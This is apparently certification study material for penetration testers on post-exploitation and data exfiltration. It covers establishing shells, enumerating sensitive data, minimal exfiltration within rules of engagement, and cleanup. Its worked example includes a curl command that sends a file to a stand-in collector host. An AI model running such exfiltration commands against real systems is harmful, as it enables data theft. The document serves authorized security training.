Post-Exploitation and Data Exfiltration
Post-Exploitation and Data Exfiltration
This domain tests what you do after initial access: consolidate control, collect evidence, and move data without breaking scope or availability. CPTS expects controlled, documented actions.
Core rules
- Establish a stable channel and note it: a reverse shell, SSH key, or C2 session. Record the host, user, time, and persistence method. Avoid unnecessary persistence.
- Enumerate data by sensitivity and objective: file shares, home directories, databases, backups, and configuration. Use find, grep, and native tools; avoid mass downloads.
- Exfiltrate only the minimum proof: a small file, hash, or screenshot. Use an approved channel (HTTP/S, DNS, ICMP) and verify integrity with SHA-256. Chunk and encrypt if required by RoE.
- Clean up: remove uploaded tools, scheduled tasks, and test accounts; restore modified files. Document every change.
- Keep an exfil log: source path, size, hash, destination, timestamp, and approval.
Worked example
You find customer_export.csv on a file share. Instead of copying it wholesale, you read the header and first three rows, hash the file, and exfiltrate only a redacted 2 KB sample over HTTPS with curl --data-binary @sample.txt https://collector.example/upload. You verify the server-side SHA-256 matches and record the path and approval. The reasoning is: prove access and sensitivity, minimize data movement, preserve integrity, and stay within RoE. If the RoE forbids external exfil, use an internal approved host.
Traps
Exfiltrating entire databases, using unapproved channels, leaving tools or cron jobs, modifying timestamps without authorization, and failing to hash or log the transfer. Also: not checking whether data is regulated, and not coordinating with the client before touching sensitive files.